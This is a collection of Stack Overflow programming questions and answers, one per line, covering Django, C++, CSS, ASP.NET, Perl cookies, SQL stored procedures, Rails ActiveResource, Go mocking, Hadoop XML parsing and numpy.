761352	0	Django QuerySet order <p>I am new to both django and python but I am beginning to get a grasp on things. I think.</p> <p>I have this problem and I can not seem to find an answer to it. (Though I assume it is really simple and the limiting factors are my google skills and lack of python/django knowledge)</p> <p>The scenario:</p> <p>a user can opt in to recieve temporary job openings at any number of stores he or she chooses.</p> <p>I would like to present a list of upcoming job openings (StoreEvents) sorted by the DateField only.</p> <pre><code>Example: Store A - 2009-04-20 Store B - 2009-04-22 Store A - 2009-04-23 </code></pre> <p>Atm I am stuck with presenting the data first sorted by store then by date since I am obviously accessing the StoreEvents through the Store model.</p> <pre><code>Example: Store A - 2009-04-20 Store A - 2009-04-23 Store B - 2009-04-22 </code></pre> <p>So my question is: Is it possible to create a QuerySet that looks like the first example and how do I do it?</p> <p>Examples of related models included:</p> <pre><code>class Store(models.Model): class StoreEvent(models.Model): info = models.TextField() date = models.DateField() store = models.ForeignKey(Store, related_name='events') class UserStore(models.Model): user = models.ForeignKey(User, related_name='stores') store = models.ForeignKey(Store, related_name='available_staff') </code></pre> <p>Edit:</p> <p>The following SQL does the trick but I still can't figure out how to do it in django:</p> <pre><code>SELECT * FROM store_storeevent WHERE store_id IN ( SELECT store_id FROM profile_userstore WHERE user_id =1 ) ORDER BY date </code></pre>
17492192	0	 <p>With validation efficiency is not usually the concern. There are two types of validation that you should be concerned with:</p> <ol> <li>Input validation, e.g. will what the user is sending to the server malicious and intended to break/break into my application</li> <li>Business validation, which should happen in your business logic, and should be about maintaining valid, consistent values.</li> </ol> <p>Skipping over either of these is a very very good way to end up with either a hacked or badly broken application.</p> <p>If you're using ASP.net there are a plethora of libraries (mostly from Microsoft) to do the former, Anti-XSS lib etc.</p> <p>The latter would be most efficiently preformed in your shared business logic in the entities themselves. E.G your user entity should not allow an age of -1.</p>
11149365	0	trouble using lambda expressions and auto keyword in c++ <p>I'm trying to learn how to use lambda expressions in C++.</p> <p>I tried this simple bit of code but I get compile errors:</p> <pre><code>int main() { vector&lt;int&gt; vec; for(int i = 1; i&lt;10; i++) { vec.push_back(i); } for_each(vec.begin(),vec.end(),[](int n){cout &lt;&lt; n &lt;&lt; " ";}); cout &lt;&lt; endl; } </code></pre> <p>Errors:</p> <pre><code> forEachTests.cpp:20:61: error: no matching function for call to'for_each(std::vector&lt;int&gt;::iterator, std::vector&lt;int&gt;::iterator, main()::&lt;lambda(int)&gt;)' forEachTests.cpp:20:61: note: candidate is: c:\mingw\bin\../lib/gcc/mingw32/4.6.2/include/c++/bits/stl_algo.h:4373:5: note:template&lt;class _IIter, class _Funct&gt; _Funct std::for_each(_IIter, _IIter, _Funct) </code></pre> <p>I also tried making the lambda expression an auto variable but I got a different set of errors.</p> <p>Here is the code:</p> <pre><code>int main() { vector&lt;int&gt; vec; for(int i = 1; i&lt;10; i++) { vec.push_back(i); } auto print = [](int n){cout &lt;&lt; n &lt;&lt; " ";}; for_each(vec.begin(),vec.end(),print); cout &lt;&lt; endl; } </code></pre> <p>This gave me the following errors:</p> <pre><code> forEachTests.cpp: In function 'int main()': forEachTests.cpp:20:7: error: 'print' does not name a type forEachTests.cpp:22:33: error: 'print' was not declared in this scope </code></pre> <p>I'm assuming these are problems with my compiler but I am not quite sure. I just installed MinGW and it appears to be using <code>gcc</code> 4.6.2.</p>
36843106	0	 <p>You can use <code>position: absolute</code> and <code>transform: translate()</code></p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>nav { position: relative; background: #2196F3; height: 50px; } .mdl-layout-title { position: absolute; left: 50%; top: 50%; transform: translate(-50%, -50%); }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;nav&gt; &lt;span class="mdl-layout-title navbar"&gt;Title&lt;/span&gt; &lt;/nav&gt;</code></pre> </div> </div> </p>
36206566	0	 <p>The answer I found is that Haml doesn't play well with javascript. If you are going to have a js file it should be an Erb file. So rather that your_file.js.haml it should be your_file.js.erb.</p>
28104867	0	 <p>I use a ClientRowTemplate to achieve something similar to the above.</p> <p>Look at this documentation: <a href="http://demos.telerik.com/aspnet-mvc/grid/rowtemplate" rel="nofollow noreferrer">http://demos.telerik.com/aspnet-mvc/grid/rowtemplate</a></p> <p>Basically I define my Row template in a partial view then I render the partial like this:</p> <pre><code>@(Html.Kendo().Grid(Model).Name("usersManageGrid") .Columns(columns =&gt; { columns.Bound(c =&gt; c.LoginId).Visible(false); columns.Bound(c =&gt; c.FullName).Title("Name").Width(120); columns.Bound(c =&gt; c.Email).Title("Username"); }).ClientRowTemplate(Html.Partial("_TestPartial").ToHtmlString())) </code></pre> <p>You can still specify and bind to other columns like the documentation shows. You can also pass in your sub view model if you wish as normal;</p> <pre><code>.ClientRowTemplate(Html.Partial("_TestPartial",x.SubViewModel).ToHtmlString()) </code></pre> <p>The partial view which contains the row template looks like this:</p> <pre><code>&lt;tr data-uid='#: LoginId #'&gt; &lt;td&gt; &lt;span class='description'&gt;&lt;b&gt;Name&lt;/b&gt; : #: FullName# &lt;/span&gt; &lt;/td&gt; &lt;td&gt; @Html.Partial("_Test2Partial") &lt;/td&gt; &lt;/tr&gt; </code></pre> <p>Then you will see I render another partial view for the second column which simply has this in it:</p> <pre><code>&lt;span style="color:purple;"&gt;&lt;b&gt;Email&lt;/b&gt; : #: Email# &lt;/span&gt; </code></pre> <p>The end result looks like this:</p> <p><img src="https://i.stack.imgur.com/WoX8b.png" alt="enter image description here"></p>
3240026	0	PrincipalPermission vs. web.config for page access controls <p>I currently have my access permissions in <code>web.config</code>:</p> <pre><code> &lt;location path="Account"&gt; &lt;system.web&gt; &lt;authorization&gt; &lt;allow users="?"/&gt; &lt;/authorization&gt; &lt;/system.web&gt; &lt;/location&gt; ... </code></pre> <p>I don't like this for two reasons:</p> <ol> <li><code>web.config</code> becomes a mess as my website builds up</li> <li>I'm not sure it's good security to keep the web page access rule so separated from the page itself. After all, I edit aspx/c# files most of the day and not web.config, so things tend to slip.</li> <li>This is a very weird one... I just added ASP.NET4 routing, which changes the URLs. So, all of a sudden my web.config permissions are no longer valid! Similar to point #2 above.</li> </ol> <p>I was thinking it would be better to just use PrincipalPermission as security attributes for the classes/c# files involved in each aspx. My question:</p> <ul> <li>Is this done by anyone, or is it a bad ideas?</li> <li>More importantly... My PrincipalPermission attribute generates an exception (good) but does not redirect users back to the logon page (bad). Can this be fixed?</li> </ul>
34609362	0	 <p>As mentioned in the comments, the problem is your response redirects to another url, your <code>HttpUrlConnection</code> must handle redirects. See <a href="http://www.mkyong.com/java/java-httpurlconnection-follow-redirect-example/" rel="nofollow">this</a> on how to do it. </p>
26487619	0	 <p>You can skip it with <code>case ... when ... else</code> like you figured out by yourself:</p> <pre><code>... ||case when A.NEXTQUESTIONID is not null then 'NextQuestionID = '||A.NEXTQUESTIONID||',' else '' end || ... </code></pre> <p>You can also use the <code>nvl2</code> function for a shorter solution:</p> <pre><code>... || nvl2(A.NEXTQUESTIONID, 'NextQuestionID = '||A.NEXTQUESTIONID||',', '') || ... </code></pre>
30643331	0	How can I wait for an application launched by another application launched by my application Qt/C++ <p>I'm creating a Windows Add/Remove Programs application in Qt 5.4 and I'm becaming crazy to solve a little "puzzle":</p> <p>My application (APP_0) runs another application (APP_1) and waits for this APP_1 until it terminates. </p> <p>APP_1 is an uninstaller (i.e. uninstall.exe) and I've not the source code of the APP_1, just of my Qt APP_0.</p> <p>APP_1, instead of doing the uninstall job, it simply copies itself somewhere in the filesystem (I saw as Au_.exe but other apps could use different names and locations), runs this copy of itself (APP_2) and terminates.</p> <p>The APP_2 has a GUI and the job I'm waiting for (uninstall) is demanded to the final user of the running APP_2.</p> <p>In this situation my application (APP_0) stops waiting for APP_1 pratically immediately (because it launches APP_1 and waits for APP_1). But to work properly, obviously, I need to know instead when APP_2 is terminated...</p> <p>So the question is: is there a way (using some techniques (hooking?)) to know if and when APP_2 terminates?</p> <p>Note: Consider that the standard Windows Add/Remove Programs utility does the job successfully (it seems it waits for APP_2). You can test this, for example, installing Adobe Digital Edition. Its uninstaller (uninstall.exe) copies itself into a new folder in the User_Local_Temp folder as Au_.exe, runs it and terminates. But the OS utility successfully waits for Au_.exe and only after it terminates refreshes the list of installed programs.</p> <p>If this kind of technique (uninstall.exe copies itself somewhere ALWAYS with THE SAME name (Au_.exe) ) the problem could be resolved, obviously, very simply. But I don't think that the name of the copied uninstaller is always the same and also I don't like to assume things I'm not sure are real.</p> <p>Many thanks in advance</p>
21487685	0	How can I read multiple cookies with Perl's CGI.pm? <p>I am using CGI.pm to write out cookies. Now during the course of the user using my site, other cookies are added to the "test.com" cookie set, (as shown in the broswer history)</p> <p>But now I want to log the user out, and "clean" the PC. Since I don't know what scripts the user has used, I can't foresee what cookies would be on the PC.</p> <p>In short, it there a way to read all the cookies for "test.com" back into a script so I can then print them out again with a 1s duration, (effectively 'deleting' them) ** I know you can read the cookie back in with $xyz=cookie('$name') ... but how can I create the array holding the $name variable so I can loop through it? The script will also run on "test.com", so the cross site policy is not an issue</p> <p>+++++ <a href="http://stackoverflow.com/users/2766176/brian-d-foy">brian d foy</a> added a partial answer below. So this how I envisage the code might be strung together.</p> <pre><code>use CGI::Cookie; %cookies = CGI::Cookie-&gt;fetch; for (keys %cookies) { $del_cookie.="cookie(-NAME=&gt;'$cookies[$_]',-PATH=&gt;'/',-EXPIRES=&gt;'+1s');"; } print header(-cookie=&gt;[$del_cookie]); </code></pre> <p>I wondered how the script would recognise the domain. Appears the script is intelligent enough to only load the cookies for the domain for which the script is being executed on. (Now I've just got to find out why Firefox doesn't delete expired cookies!! Just found some listed that expired 29th - 31st Jan within my test domain, and at first wondered why they didn't appear in my cookie list!)</p>
36362270	0	 <p>You don't need an SqlDataAdapter and all the infrastructure required to work with if you just have a single value returned by your Stored Procedure. Just use ExecuteScalar</p> <pre><code>int count = 0; using (var con = new SqlConnection(connectionString)) using (var cmd = new SqlCommand("RunAStoredProc", con)) { cmd.CommandType = CommandType.StoredProcedure; count = (int)cmd.ExecuteScalar(); } Console.WriteLine(count); Console.ReadKey(); </code></pre> <p>However if your really want to use an adapter and a dataset then you can find the result of your query reading the value from the first row and first column from the returned table</p> <pre><code>int count = Convert.ToInt32(table1.Rows[0][0]); </code></pre> <p>or even (without declaring the table1 variable)</p> <pre><code>int count = Convert.ToInt32(ds.Tables[0].Rows[0][0]); </code></pre> <p>To discover the difference between the result of the first select statement and the count of rows returned in the second select statement you could write</p> <pre><code>int allStudents = Convert.ToInt32(ds.Tables[0].Rows[0][0]); int enrolledStudents = ds.Tables[1].Rows.Count; int notEnrolledStudents = allStudents - enrolledStudents; </code></pre>
39171971	0	 <p>Try to delete or rename .suo file (including extension). This file is at the same location where your solution file is. It worked for me.</p>
37601024	0	ActiveResource with nested relation fails with routing error <p>I am newbie to the rails world and in my project we have following model on server side </p> <pre><code> class Server &lt; ActiveRecord::Base has_many :disks, :dependent =&gt; :destroy accepts_nested_attributes_for :disks, :reject_if =&gt; lambda { |a| a[:size].blank? }, :allow_destroy =&gt; true end class ServersController &lt; ApplicationController def new @server = Server.new 4.times { @server.disks.build } respond_to do |format| format.xml { render :xml =&gt; @server.to_xml(:include =&gt; :disks) } format.json { render :json =&gt; @server.to_json(:include =&gt; :disks) } end end end </code></pre> <p>and </p> <pre><code>class Disk &lt; ActiveRecord::Base belongs_to :server validates :size, presence: true end </code></pre> <p>On Client Side we have </p> <pre><code>class Server &lt; ActiveResource::Base self.site = URLS_CONFIG['server_url'] self.format = :json self.include_root_in_json = true end </code></pre> <p>and </p> <pre><code>class Disk &lt; ActiveResource::Base self.site = URLS_CONFIG['server_url'] self.prefix = "/servers/:server_id/" self.format = :json end </code></pre> <p>When I try </p> <pre><code>disk1 = @server.disks.build </code></pre> <p>On client side it gave error </p> <pre><code>ActiveResource::ResourceNotFound: Failed. Response code = 404. Response message = Not Found. from /usr/local/bundle/gems/activeresource-4.0.0/lib/active_resource/connection.rb:144:in `handle_response' from /usr/local/bundle/gems/activeresource-4.0.0/lib/active_resource/connection.rb:123:in `request' </code></pre> <p>When I checked on server side the error was </p> <pre><code>ActionController::RoutingError (No route matches [GET] "/servers/disks/new.json"): 11:21:06 web.1 | actionpack (4.2.2) lib/action_dispatch/middleware/debug_exceptions.rb:21:in `call' 11:21:06 web.1 | web-console (2.1.3) lib/web_console/middleware.rb:29:in `call' 11:21:06 web.1 | actionpack (4.2.2) lib/action_dispatch/middleware/show_exceptions.rb:30:in `call' 11:21:06 web.1 | railties (4.2.2) lib/rails/rack/logger.rb:38:in `call_app' 11:21:06 web.1 | railties (4.2.2) lib/rails/rack/logger.rb:22:in `call </code></pre> <p>Can anyone tell me what went wrong here ? I wanted to show all disks for the server on the front end and allow user to edit and update it.</p>
598110	0	 <p>Until there's a reason given why it can't work, just use the facilities provided to you by the platform (the DLL and so forth).</p>
15361648	0	 <p>There are likely to be several "problems", or ways to make it faster. I wouldn't call them "bottlenecks" because often they are not localized. Typically they are perfectly good code - it was just never supposed that they would be on the "critical path".</p> <p>Suppose the problems, when fixed, would save these percentages:</p> <p><img src="https://i.stack.imgur.com/EFeVX.jpg" alt="enter image description here"></p> <p>Just finding one of them would give you a certain amount of speedup. Like if you just find A, that would give you a speedup of 1/(1-0.3) = 1.43 or 43%. If you did that, you could, like most people, be happy and stop. However, if you continued and also found B, your total speedup would be 1/(1-0.51) = 2.04 or 104%. That's a lot more than 43%, even though B was smaller than A. Fixing C brings you up to 2.92 times faster, and D brings you to 4.2 times faster.</p> <p>What? Fixing smaller problems has higher payoff? They can, because speedup factors compound. Fixing A and B in that order gives you 1.43 * 1.43 = 2.04. If you happen to fix them in the opposite order you get 1.27 * 1.61 = 2.04</p> <p>Each time you fix something, the other issues become larger, percentage-wise and easier to find, and the speedups accumulate like a high-yield investment. By the time you fix A, B, C, D, and E, the one left is F and it isn't 5%, it's 30%. Fix all of them, and now you are 8.5 times faster! However, if you miss one, like D, because your profiling tool fails to expose it, you are only 4.5 times faster.</p> <p><em>That's the price you pay for not finding a problem.</em></p> <p>That's why I rely on <a href="http://stackoverflow.com/a/378024/23771"><em>a manual technique</em></a>, because, relative to profilers, it finds all problems they find, and it finds ones they don't. Profilers are often concerned with peripheral issues, like accuracy of measurement, which doesn't help to find problems. If you're wondering why, <a href="http://scicomp.stackexchange.com/a/2719/1262"><em>here's the math</em></a>.</p>
3140611	0	 <p>Assuming it's a business site:</p> <p>What's your target market? How long do you expect until you release a working version of your website? If current trends continue, what will be IE6's market share by then? How much profit/value will those users bring? How much will it cost to support those additional users? Unless the costs are far below the profit, then don't bother. Otherwise, it might be a good idea.</p> <p>If it's not a for-profit site(hobby, for instance), then you probably shouldn't bother, unless there's a really significant IE6 market share in your target market.</p> <p>By the way, remember to use graceful degradation when possible and use feature detection instead of browser detection. Finally, avoid blocking IE6 users and instead just display a warning saying the website is untested in their browser and suggesting an update(this last piece of advice only applies if you don't plan to support IE6)</p>
16184902	0	 <p>Once a program goes out of memory it can be hard for it to recover. You need to think carefully about how to try and clean up when that happens. For example, in your saveImageToExternalStorage, it doesn't clean up the fOut if an exception occurs inside your try/catch. So you should do things like put </p> <pre><code>OutputStream fOut = null; </code></pre> <p>outside the try/catch, and then close it in a finally block of the try/catch. And pay attention to the possibility of further exceptions in the catch of finally blocks.</p>
28229830	0	 <p>You can implement a wrapper for fb.App and override Session method to return IFbSession instead of Facebook.Session.</p> <pre><code>package main import fb "github.com/huandu/facebook" type IFbApp interface { ExchangeToken(string) (string, int, error) Session(string) IFbSession } type MockFbApp struct { IFbApp } func (myFbApp *MockFbApp) ExchangeToken(token string) (string, int, error) { return "exchangetoken", 1, nil } func (myFbApp *MockFbApp) Session(token string) IFbSession { return &amp;MyFbSession{} } type IFbSession interface { User() (string, error) Get(string, fb.Params) (fb.Result, error) } type MyFbSession struct { IFbSession } func (myFbSession *MyFbSession) User() (string, error) { return "userid", nil } func (myFbSession *MyFbSession) Get(path string, params fb.Params) (fb.Result, error) { return fb.Result{}, nil } type RealApp struct { *fb.App } func (myFbApp *RealApp) Session(token string) IFbSession { return myFbApp.App.Session(token) } func SomeMethod() { Facebook(&amp;MockFbApp{}) Facebook(&amp;RealApp{fb.New("appId", "appSecret")}) } func Facebook(fbI IFbApp) { fbI.ExchangeToken("sometokenhere") fbI.Session("session") } func main() { SomeMethod() } </code></pre>
15760778	0	 <p>here is wat u want <a href="https://github.com/studhadoop/xmlparsing-hadoop/blob/master/XmlParser11.java" rel="nofollow">https://github.com/studhadoop/xmlparsing-hadoop/blob/master/XmlParser11.java</a></p> <pre><code>line 170 :if (currentElement.equalsIgnoreCase("name")) line 173 :else if (currentElement.equalsIgnoreCase("value")) </code></pre> <p>name and value are the tags in my xml file . In ur case if you need to process the tags inside FACULTY,u can use Name instead of name and Age instead of value.</p> <pre><code>conf.set("xmlinput.start", "&lt;Faculty&gt;"); conf.set("xmlinput.end", "&lt;/Faculty&gt;"); </code></pre>
1762373	0	 <p>The preferred way to interact with a db when using an ORM is not to use queries but to use objects that correspond to the tables you are manipulating, typically in conjunction with the session object. SELECT queries become get() or find() calls in some ORMs, query() calls in others. INSERT becomes creating a new object of the type you want (and maybe explicitly adding it, eg session.add() in sqlalchemy). UPDATE becomes editing such an object, and DELETE becomes deleting an object (eg. session.delete() ). The ORM is meant to handle the hard work of translating these operations into SQL for you.</p> <p>Have you read <a href="http://www.sqlalchemy.org/docs/05/ormtutorial.html" rel="nofollow noreferrer">the tutorial</a>?</p>
24619003	0	 <blockquote> <p>I don't want to create B class object </p> </blockquote> <p>Add a constructor or factory method which doesn't require a B.</p> <pre><code>public A(B b){ this(b.getList()); } /* package local */ A(List&lt;String&gt; list){ this.list = list; } </code></pre> <p>By making the constructor package local it can be accessed by unit tests in the same package.</p> <blockquote> <p>How to test someMethod without calling constructor of A?</p> </blockquote> <p>You can use </p> <pre><code>A a = theUnsafe.allocateInstance(A.class); </code></pre> <p>but this is not recommended unless you have no other option e.g. deserialization.</p>
13163450	0	Stored Procedures using LINQ with VB.Net <p>Newby here and I cant understand why the data isnt staying in the table.</p> <p>The Stored Procedure:</p> <pre><code>ALTER PROCEDURE dbo.AccountAdd @AccountName nvarchar(50) ,@Address1 nvarchar(50) ,@Address2 nvarchar(50) ,@Address3 nvarchar(50) ,@Town nvarchar(50) ,@County nvarchar(50) ,@Postcode nvarchar(10) ,@Phone1 nvarchar(50) ,@Phone2 nvarchar(50) ,@Phone3 nvarchar(50) ,@Email1 nvarchar(50) ,@Email2 nvarchar(50) ,@ContactName nvarchar(50) ,@Position nvarchar(50) ,@AccountType nvarchar(50) AS INSERT INTO [dbo].[Accounts] ([AccountName] ,[Address1] ,[Address2] ,[Address3] ,[Town] ,[County] ,[Postcode] ,[Phone1] ,[Phone2] ,[Phone3] ,[Email1] ,[Email2] ,[ContactName] ,[Position] ,[AccountType]) VALUES (@AccountName ,@Address1 ,@Address2 ,@Address3 ,@Town ,@County ,@Postcode ,@Phone1 ,@Phone2 ,@Phone3 ,@Email1 ,@Email2 ,@ContactName ,@Position ,@AccountType) RETURN @@IDENTITY </code></pre> <p>The VB Code:</p> <pre><code>Dim db As New DBClassesDataContext Private Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles Button1.Click db.Connection.Open() Dim q = db.AccountAdd("Mark Cooney", "vv", "vv", "vv", "vv", "vv", "vv", "vv", "vv", "vv", "vv", "vv", "vv", "vv", "vv") db.Connection.Close() Label1.Text = q End Sub </code></pre> <p>So when I click button1, q equals a new id but the data isnt there!!</p> <p>What am I missing please? Sorry I'm trying to understand LINQ</p>
15905056	0	 <p>If your static lib is another project in the same solution as the project that links to the lib, then you need to set a dependency between the two projects so that the build process will build the lib first and the other project second.</p> <p>To do this, right-click on the Solution abd choose "Project dependencies" from the pop-up menu.</p>
39259681	0	 <p>It works for me:</p> <pre><code> {ok, F} = file:read_file("warning.gif"), httpc:request(post,{Url, [],"multipart/form-data", F},[],[]). </code></pre> <p>I recieved on cowboy web server with function <code>cowboy_req:body(Req)</code>:</p> <pre><code>{ok,&lt;&lt;71,73,70,56,57,97,11,0,11,0,230,64,0............&gt;&gt;, {http_req,#Port&lt;0.65562&gt;,ranch_tcp,keepalive,&lt;0.8736.0&gt;,&lt;&lt;"POST"&gt;&gt;, 'HTTP/1.1', {{127,0,0,1},58154}, &lt;&lt;"localhost"&gt;&gt;,undefined,8000,&lt;&lt;"/test1"&gt;&gt;, [&lt;&lt;"test1"&gt;&gt;], &lt;&lt;&gt;&gt;,undefined,[], [{&lt;&lt;"content-type"&gt;&gt;,&lt;&lt;"multipart/form-data"&gt;&gt;}, {&lt;&lt;"content-length"&gt;&gt;,&lt;&lt;"516"&gt;&gt;}, {&lt;&lt;"te"&gt;&gt;,&lt;&lt;&gt;&gt;}, {&lt;&lt;"host"&gt;&gt;,&lt;&lt;"localhost:8000"&gt;&gt;}, {&lt;&lt;"connection"&gt;&gt;,&lt;&lt;"keep-alive"&gt;&gt;}], [{&lt;&lt;"content-length"&gt;&gt;,516}, {&lt;&lt;"expect"&gt;&gt;,undefined}, {&lt;&lt;"content-length"&gt;&gt;,516}, {&lt;&lt;"connection"&gt;&gt;,[&lt;&lt;"keep-alive"&gt;&gt;]}],undefined,[],done,undefined,&lt;&lt;&gt;&gt;,true,waiting,[],&lt;&lt;&gt;&gt;, undefined}} </code></pre>
40267118	0	 <p>You can create a class <code>no-gutter</code> for your <code>row</code> and remove the margin/padding that's added by bootstrap, like suggested in <a href="http://stackoverflow.com/questions/16489307/how-to-remove-gutter-space-for-a-specific-div-only-bootstrap/21282059#21282059">this post</a>:</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>.row.no-gutter { margin-left: 0; margin-right: 0; } .row.no-gutter [class*='col-']:not(:first-child), .row.no-gutter [class*='col-']:not(:last-child) { padding-right: 0; padding-left: 0; } .row &gt; div { background: lightgrey; border: 1px solid; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet"/&gt; &lt;div class="row no-gutter"&gt; &lt;div class="col-md-2"&gt; 1 &lt;/div&gt; &lt;div class="col-md-10"&gt; 2 &lt;/div&gt; &lt;/div&gt;</code></pre> </div> </div> </p> <p>I've set a gray background and a border for demonstration purposes. Watch the result in fullscreen to see, that there is no space anymore between the columns. More information about the predefined margin and padding in Bootstrap can be <a href="http://getbootstrap.com/css/" rel="nofollow">found here</a>.</p>
20835797	0	 <p>using inline-jquery</p> <pre><code>onkeyup="if($(this).val()==''){ $(this).css({'text-align':'right'})} else{ $(this).css({'text-align':'left'})}" </code></pre> <p><a href="http://jsfiddle.net/Cq5ep/" rel="nofollow">Demo</a></p>
10412443	0	 <p>The Java final keyword is used in the Java programming language under different conditions and has different implications. For example:</p> <ol> <li>To declare a constant variable,</li> <li><p>To declare a constant method parameter.</p> <ol> <li><p>A variable declared as final must have an initialization prior to its usage. This variable cannot be assigned a new value such as (a = b). But if the variable is not of primitive type then its properties can be set using the set methods or any other public fields. This means that the object instance reference cannot be changed but the properties of the object instance can be changed as long as they themselves are not declared final.</p></li> <li><p>To prohibit the parameter being modified in the method where it is being used.</p></li> </ol></li> </ol>
28336001	0	 <p>At each terminal node (leaf) you are printing <code>)</code>s for all parents; you should only do so for <em>consecutive right-side</em> parents.</p> <p>I suggest renaming <code>parents</code> to <code>depth</code> and adding a <code>right_depth</code> parameter.</p> <p><strong>Edit:</strong> after playing around with it a bit, I decided it was better to delegate it to the tree:</p> <pre><code>class Node: INDENT = " " __slots__ = ["lhs", "word_label", "left_child", "right_child"] def __init__(self, lhs, *args): self.lhs = lhs num_args = len(args) if num_args == 1: self.word_label = args[0] self.left_child = None self.right_child = None elif num_args == 2: self.word_label = None self.left_child = args[0] self.right_child = args[1] else: raise ValueError("should have one arg (word_label: str) or two args (left: Node and right: Node)") def is_terminal(self): return self.word_label is not None def tree_str(self, depth=0, indent=None): if indent is None: indent = self.INDENT if self.is_terminal(): return "\n{}({} '{}' )".format( indent * depth, self.lhs, self.word_label ) else: return "\n{}( {}{}{} )".format( indent * depth, self.lhs, self.left_child .tree_str(depth + 1, indent), self.right_child.tree_str(depth + 1, indent) ) def __str__(self): return self.tree_str() </code></pre> <p>then some syntactic helpers,</p> <pre><code>def make_leaf_type(name): def fn(x): return Node(name, x) fn.__name__ = name return fn for leaf_type in ("VB", "DT", "NNS", "IN", "NP_NNP", "TO", "NN", "PUNC"): locals()[leaf_type] = make_leaf_type(leaf_type) def make_node_type(name): def fn(l, r): return Node(name, l, r) fn.__name__ = name return fn for node_type in ("TOP", "S_VP", "NP", "PP"): locals()[node_type] = make_node_type(node_type) </code></pre> <p>so I can create the tree,</p> <pre><code>tree = \ TOP( S_VP( VB('List'), NP( NP( DT('the'), NNS('flights') ), PP( PP( IN('from'), NP_NNP('Baltimore') ), PP( TO('to'), NP( NP_NNP('Seattle'), NP( NP( DT('that'), NN('stop') ), PP( IN('in'), NP_NNP('Minneapolis') ) ) ) ) ) ) ), PUNC('.') ) </code></pre> <p>which then prints like</p> <pre><code>&gt;&gt;&gt; print(tree) ( TOP ( S_VP (VB 'List' ) ( NP ( NP (DT 'the' ) (NNS 'flights' ) ) ( PP ( PP (IN 'from' ) (NP_NNP 'Baltimore' ) ) ( PP (TO 'to' ) ( NP (NP_NNP 'Seattle' ) ( NP ( NP (DT 'that' ) (NN 'stop' ) ) ( PP (IN 'in' ) (NP_NNP 'Minneapolis' ) ) ) ) ) ) ) ) (PUNC '.' ) ) </code></pre> <p>which I believe is <em>actually</em> what is desired.</p>
28113856	0	'while' statement cannot complete without throwing an exception - Android <p>With this method I'm updating <code>TextView</code> every second. </p> <pre><code> private void UpdatingTime(final String endTime, final long diffInDays) { new Thread(new Runnable() { @Override public void run() { while (true) { try { Thread.sleep(ONE_SECOND); mHandler.post(new Runnable() { @Override public void run() { // Updating time every second long diffInHours = Methodes.diffInHours(endTime, diffInDays); long diffInMinutes = Methodes.diffInMinutes(endTime, diffInDays, diffInHours); long diffInSeconds = Methodes.diffInSeconds(endTime, diffInDays, diffInHours, diffInMinutes); tvTime2.setText(addZeroInFront(diffInHours) + ":" + addZeroInFront(diffInMinutes) + ":" + addZeroInFront(diffInSeconds)); } private String addZeroInFront(long diffInHours) { String s = "" + diffInHours; if (s.length() == 1) { String temp = s; s = "0" + temp; } return s; } }); } catch (Exception e) { e.printStackTrace(); } } } }).start(); } } </code></pre> <p>This method is working perfect. But I got this warning:</p> <blockquote> <p>'while' statement cannot complete without throwing an exception.</p> <p>Reports for, while, or do statements which can only exit by throwing an exception. While such statements may be correct, they are often a symptom of coding errors.</p> </blockquote> <p>I hate warnings and I want to fix it. How can i fix this warning, or there is a better solution for this infinite loop...?</p>
13205504	0	 <p>An <code>IntentService</code> runs in the background on a <code>seperate Thread</code> so anything done in the service will not effect the UI. BUT once the service finishes doing what it is suppose to, the service terminates itself. </p> <p>A <code>service</code> also does stuff in the background BUT on the <code>UI thread</code> so if you have any time consuming things that need to be done it will hold up the UI. this also runs until you tell it to stop for the most part.</p> <p>If you are using alarms to trigger everything I would say the IntentService is fine. </p>
26539171	0	Difference between interface-abstract (not duplicate) <p>I want to know the difference between the two codes. I have a interface: lets say : </p> <pre><code>public interface iaminterface { void m1(); void m2(); void m3(); } </code></pre> <p>First Code : </p> <pre><code>public abstract class iamabstract implements iaminterface { public void m1(){} public abstract void m2(); // abstract method .So i need to override this in the subclasses. } public class car extends iamabstract { public void m2(){} public void m3(){} } public class train extends iamabstract { public void m2() {} public void m3() {} } </code></pre> <p>This code will compile successfully. But this code is same as writing :</p> <p>Second Code: </p> <pre><code> public abstract class iamabstract implements iaminterface { public void m1(){} } public class car extends iamabstract { public void m2(){} public void m3(){} } public class train extends iamabstract { public void m2() {} public void m3() {} } </code></pre> <p>I don't understand the difference in the two codes. Both codes will function in a similar way. One has a abstract method and another does not have a abstract method, so we need to implement the unimplemented methods of the interface. So , what's the use of writing the method m2() as abstract in the first code. ?</p>
18949721	0	 <p>Use redirect_to with status 303</p> <pre><code>def destroy @task = Task.find(params[:id]) @task.destroy redirect_to :action =&gt; :index, status: 303 end </code></pre> <p>redirect_to documentation says:</p> <p><a href="http://api.rubyonrails.org/classes/ActionController/Redirecting.html">http://api.rubyonrails.org/classes/ActionController/Redirecting.html</a></p> <p>If you are using XHR requests other than GET or POST and redirecting after the request then some browsers will follow the redirect using the original request method. This may lead to undesirable behavior such as a double DELETE. To work around this you can return a 303 See Other status code which will be followed using a GET request.</p>
29035815	1	combining python lists in savetxt <p>I have 2 python lists that I want to save side by side using np.savetxt().</p> <p>I have tried:</p> <pre><code>np.savetxt('./filename.txt',np.hstack([list1,list2]),fmt=['%f','%f']) </code></pre> <p>but I get the error message</p> <pre><code>raise AttributeError('fmt has wrong shape. %s' % str(fmt)) AttributeError: fmt has wrong shape. ['%f', '%f'] </code></pre> <p>I don't know if it is relevant, but the lists are in decimal.Decimal format.</p> <p>What am I doing wrong please?</p> <hr> <p>edit: I originally said "vstack" but I meant "hstack".</p>
5779073	0	 <pre><code>result = [] z = ActiveSupport::JSON.decode( '{ "0X1W6": "{\"type\":\"Hourly\",\"hr\":\"12\",\"min\":\"30\",\"every_hr\":\"5\"}", "Tk18f": "{\"type\":\"Daily\",\"hr\":\"12\",\"min\":\"30\",\"days_checked\":[1,4]}" }') z.each_value do|i| x = {} ActiveSupport::JSON.decode(i).each{|k,v| x[k.to_sym] = (v.class == String &amp;&amp; v.to_i.to_s == v) ? v.to_i : v } result &lt;&lt; x end </code></pre>
